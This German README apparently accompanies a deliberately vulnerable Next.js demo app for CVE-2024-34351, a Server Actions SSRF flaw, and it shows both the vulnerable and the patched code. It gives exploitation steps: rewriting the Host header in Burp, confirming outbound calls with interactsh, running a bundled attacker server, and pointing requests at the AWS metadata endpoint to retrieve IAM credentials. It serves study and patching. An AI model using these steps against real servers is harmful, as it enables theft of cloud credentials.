
Minimal Next.js 14.0.0 Demo-App für die CVE-2024-34351 SSRF-Schwachstelle. Enthält Exploit-Setup, Interactsh-Bestätigung, Burp-Abfangen und AWS-Metadaten-Eskalationsschritte.
Minimale Next.js 14.0.0-Anwendung zur Demonstration von CVE-2024-34351 – einer Server-Side Request Forgery (SSRF)-Schwachstelle in Next.js Server Actions.
Entdeckt von Adam Kues und Shubham Shah bei Assetnote. Behoben in Next.js 14.1.1.
Wenn eine Server Action redirect('/some-path') aufruft, erstellt Next.js eine interne Fetch-URL unter Verwendung des Host-Headers der eingehenden Anfrage ohne Validierung:
// Vulnerable code in createRedirectRenderResult (Next.js < 14.1.1)
const host = req.headers['host'] // attacker-controlled
const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)
await fetch(fetchUrl, { method: 'HEAD', ... }) // server makes this request
Ein Angreifer, der den Host-Header kontrolliert, kann diesen internen Fetch auf jedes Ziel umleiten, das der Server erreichen kann.
npm install
npm run build # must use production build -- dev mode routes redirects differently
npm run start # app runs at http://localhost:3000
interactsh ist nützlich, um zu bestätigen, dass der Next.js-Server eine ausgehende Anfrage an einen vom Angreifer kontrollierten Host sendet.
# Install interactsh-client
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
# Start a session -- note your interaction URL, e.g. abc123.oast.fun
interactsh-client
In Burp Suite:
http://localhost:3000 und senden Sie das Anmeldeformular ab, während der Abfang (Intercept) aktiviert ist.Host: localhost:3000 zu Host: abc123.oast.fun.Dies beweist die ausgehende SSRF. Die Anfrage stammt vom Serverprozess, nicht vom Browser.
interactsh kann seine Antwort nicht steuern, daher wird Next.js nicht bis zum GET folgen. Um den vollständigen Antworttext zu erhalten, verwenden Sie den beiliegenden Angreifer-Server:
python3 attacker/attacker_server.py 8888
Setzen Sie den Host-Header auf <your-lan-ip>:8888 und leiten Sie weiter. Der Angreifer-Server antwortet auf HEAD mit Content-Type: text/x-component, was den GET auslöst. Der vollständige Antworttext wird innerhalb der Next.js-Antwort zurückgegeben, die in Burp sichtbar ist.
Wenn die anfällige App auf einer AWS EC2-Instanz ausgeführt wird, setzen Sie den Host-Header auf:
Host: 169.254.169.254
Next.js wird vom Instance-Metadata-Service abrufen. Um IAM-Anmeldeinformationen abzurufen:
Host: 169.254.169.254
Passen Sie dann den Redirect-Pfad an oder verwenden Sie eine Folgeanfrage, um Folgendes zu targetieren:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
Die vollständige Metadatenantwort wird an den Browser des Angreifers zurückgegeben.
// Patched -- no longer reads from the attacker-controlled request header
const host = (staticGenerationStore.incrementalCache as any)?.__nextHostnamePort
?? process.env.__NEXT_PRIVATE_ORIGIN
?? req.headers['host']
Die Korrektur bevorzugt process.env.__NEXT_PRIVATE_ORIGIN – wird beim Serverstart gesetzt und ist vom Angreifer nicht kontrollierbar.